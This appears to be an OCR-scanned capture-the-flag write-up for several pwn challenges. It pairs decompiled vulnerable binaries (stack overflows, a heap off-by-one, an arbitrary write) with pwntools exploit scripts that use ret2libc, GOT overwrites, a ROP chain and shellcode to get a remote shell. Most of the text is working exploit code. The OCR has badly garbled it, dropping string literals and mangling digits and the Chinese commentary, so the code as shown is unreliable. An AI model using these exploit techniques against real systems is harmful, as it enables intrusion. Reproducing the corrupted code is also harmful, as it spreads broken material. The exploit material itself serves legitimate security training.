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int _ cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, BLL);
setbuf(stdout, 6LL);
setbuf(stderr, OLL);
puts (
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
repeater();
puts("Goodbye!");
return @;
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size_t v1; // rax
char s[2@8]; // [rsp+8h] [rbp-Deh] BYREF

printf("Please tell me:");

memset(s, ©, @xC8uLL);

read(e, s, ex4eeuLL);

if ( !strcmp(s, "If there is a chance,I won't make any mistake!\n") )

{
}

else

{

puts("Wish you happy everyday!");

printf("Repeater:");
vl = strlen(s);
write(1, s, vl);

¥

return eLL;
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from pwn import

context.log level
r remote( ,29649)
elf = ELF( )

puts plt=elf.plt[
puts_got=elf.got[
pop_rdi=0x400963

r.recvuntil( )
payload (0xdo+8)+p64(pop_rdi)+p64(puts_got)+p64(puts plt)+p64(main)
r.sendline(payload)

puts_addr=u64(r.recvuntil( )[-6:].1just(8, )))

success( (puts_addr))

libc_base=puts_addr-libc.sym[ ]
system=1ibc_base+libc.sym[ ]
binsh=1ibc_base+libc.search( ). @)

payload 0xd8+p64 (pop_rdi)+p64(binsh)+p64(system)+p64(main)
r.sendline(payload)

r.interactive()
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Jint menu()

return printf("Your choice :");

- if ( !'heaparray[i] )
{

heaparray[i] = malloc(@xleulLL);

if ( !heaparray[i] )

{
puts("Allocate Error");
exit(1);

}

i

| puts(™-----------memme e e
| puts(” reallllly easy heap

| puts(®----------mmemme e
)| puts(" 1. Create a Heap

' puts(™ 2. Edit a Heap

)| puts(" 3. Show a Heap

)| puts(" 4. Delete a Heap

)| puts(™ 5. Exit

puts(M---==--mmm oo

");
)

my o,
E
wy o,

T'r),
E

printf(“"Size of Heap(@x1@ or ©x20 only)

read(e, &buf, 8ulLL);
size = atoi(&buf);

exit(-1);
v8 = heaparray[i];
vB[1] = malloc(size);
if ( !heaparray[i][1] )
{
puts("Allocate Error");
exit(2);
¥
*heaparray[i] = size;
printf(“Content:", &buf);
read_input((void *)heaparray[i][1],
puts("Done!");
return __readfsqword(@x28u) "~ v5;
¥
b
eturn __readfsqword(@x28u) ~ v5;
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size content

H g S0 R EEHEO0x18, 0x38, 2R )5 % 10/ ~chunk.
edit

unsigned __ 1nt64 edit()

{
__inte4 v1; // [rsp+eh] [rbp-16h]
unsigned __ inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(ex28u);

printf("Index :");

read(@, (char *)&v1l + 4, 4uLL);

LODWORD(v1) = atoi((const char *)&vl + 4);

if ( (signed int)vl < @ || (signed int)vl > 9 )

{
puts("Out of bound!");
_exit(e);
}
if ( heaparray[(signed int)vi] )
{

printf("Content: ", (char *)&vl + 4, vl);
read_input((void *)heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);

R

}

else

{

puts("How Dare you!");

}

return __readfsqword(@x28u) ~ v2;
}
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Junsigned __int64 show()
(
i __inté4 vi1; // [rsp+eh] [rbp-18h]



unsigned _ inté4 v2; // |[rsp+2h] [rbp-28h]

| v2 = __readfsqword(ex28u);

I printf("Index :");

i| read(e, (char *)&vl + 4, 4ulLL);

| LODWORD(v1) = atoi((const char *)&vl + 4);

)| if ( (signed int)vl < @ || (signed int)vi > 9 )

! puts("Out of bound!");

_exit(e);
| if ( heaparray[(signed int)vi] )
I
' printf("Size : %ld\nContent : %s\n", *heaparray[(signed int)v1], heaparray[(signed int)v1][1], v1);
] puts("Done!™);
|}
)| else
11
! puts("How Dare you!");
|y
| return __readfsqword(@x28u) ~ v2;
i,
show

unsigned _ inté4 show()

{
__inté4 v1; // [rsp+Bh] [rbp-18h]
unsigned __int64 v2; // [rsp+8h] [rbp-28h]

v2 = __readfsqword(ex28u);

printf("Index :");

read(@, (char *)&vl + 4, 4ullL);

LODWORD(v1) = atoi((const char *)&vl + 4);

if ( (signed int)vl < @ || (signed int)vli > 9 )

puts("Out of bound!™");
_exit(e);

if ( heaparray[(signed int)vi] )

{
printf("sSize : %ld\nContent : %s\n", *heaparray[(signed int)vl1], heaparray[(signed int)v1][1], v1);
puts("Done!™);

}

else

{

puts("How Dare youl!™");

}

return __readfsqword(@x28u) ~ v2;

delete

unsigned __int64 delete()
{
int v1; // [rsp+@h] [rbp-16h]
char buf; // [rsp+4h] [rbp-Ch]
unsigned __inte4 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(©x28u);
printf("Index :");

read(e, &buf, 4uLL);

vl = atoi(&buf);

if (vi<e || vi>9)

{
puts("Out of bound!");




_exit(e);

}

if ( heaparray[vl] )

{
free((void *)heaparray[v1i][1]);
free(heaparray[vl]);
heaparray[vl] = OLL;
puts("Done !");

}

else

{

puts("How Dare you!");

}

return __readfsqword(ex28u) ~ v3;
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from pwn import

remote( ,28026)

context.log level

def add(size,content):
r.sendlineafter( (1))
r.sendlineafter(

r.sendlineafter( ,content)

def edit(index,content):
r.sendlineafter( 5 (@3))
r.sendlineafter( (index))
r.recvuntil(

r.send(content)

def show(idx):
r.sendlineafter(
r.sendlineafter(

def delete(idx):

r.sendlineafter(
r.sendlineafter(

payload 0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got[
add (0x38,payload)

)
libc_base=u64(r.recvuntil( ).1ljust(8, ))-libc.symbols|
system_addr=1libc_base+libc.symbols|
success( (libc_base))

edit(1,p64(system_addr))

delete(2)
r.interactive()
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int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

_DWORD *v3; // [esp+14h] [ebp-114h] BYREF
int v4; // [esp+18h] [ebp-118h] BYREF

char s[256]; // [esp+1Ch] [ebp-1@Ch] BYREF
unsigned int v6; // [esp+11Ch] [ebp-Ch]

v6 = __readgsdword(exl4u);

setvbuf(_bss_start, @, 2, @);

puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
__1is0c99_scanf("%x", &v3);

sprintf(s, "Okay, now what value would you like to write to @x¥%x", v3);
puts(s);

__1s0c99_scanf("%x", &v4);

sprintf(s, "Okay, writing ex%x to ex%x", v4, v3);

puts(s);

*y3 = vd;

puts("Okay, exiting now...\n");

exit(1);
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int win()

{
}

return system("/bin/sh");
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from pwn import

r remote( ,29552)

elf=ELF( )
puts_got=elf.got[
win_addr=0x0804854B

r.sendlineafter(

; (puts_got))

r.recv()

r.sendline( (win_addr))

r.interactive()
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v4 = getegid();
setresgid(v4, v4, v4);

getegid FRHUH Fid
setresgid ¥ & A BRI S2PhR A D 45 200 7 IDAIRAE i 3 & H - 1D

AT T AT SED, A AID, REREDZ IR, FATE AR, 7 LA mprotect iU BGEAT 25, 7L
IR PR, A Hlrop.

e

2i{
[ mprotect 3| char vi[24]; // [esp+éh] [ebp-18h] BYREF
4
5/ puts("GIVE ME YOUR NAME!™);
6| return gets(vi);
7}
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from pwn import

from struct import pack

remote( ,27108)

def payload():
offset ox18
(offset + 4)

pack( , 0x0806f02a)
pack( , 0x080ea0b60)
pack( , 0x080b81c6)
b

pack( 0x080549db)
pack( 0x0806102a)
pack( 0x080eab64)
pack( 0x080b81c6)
b

pack( 0x080549db)
pack( 0x0806102a)
pack( 0x080ea068)
pack( 0x08049303)
pack( 0x080549db)
pack( 0x080481c9)
pack( 0x080ea060)
pack( 0x080de955)
pack( 0x080ea068)
pack( 0x0806102a)
pack( 0x080ea068)
pack( 0x08049303)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0807a86f)
pack( 0x0806cc25)

return p
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payload()
p.send(shell)
p.interactive()
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. Decompilation failure:
o, 804891D: call analysis failed

Please refer to the manual to find appropriate actions
[] A SR B (U Tk 2im)

TEE, RGN
it fcall eax S BN 9K Feaxix MBS HCH BTSRRI, AR ER 5 R

IBLFATHE, A Tcall A bk 1 5E 2 AT AR o

3
lea  eax, [ebp+var_A@]
push eax
call vuln

R T IE A callf bt 24 2 KL 3t 7 wuin, 3L T

int __cdecl vuln(int al)

{
gets(zal);
return puts(zl);

}

REX AN SR M TR TS, SRR R E R A FENX, T DL E
5 \shellcodesltiF T .

from pwn import

r=remote( ,29126)

r.sendline(asm(shellcraft.sh()))
r.interactive()
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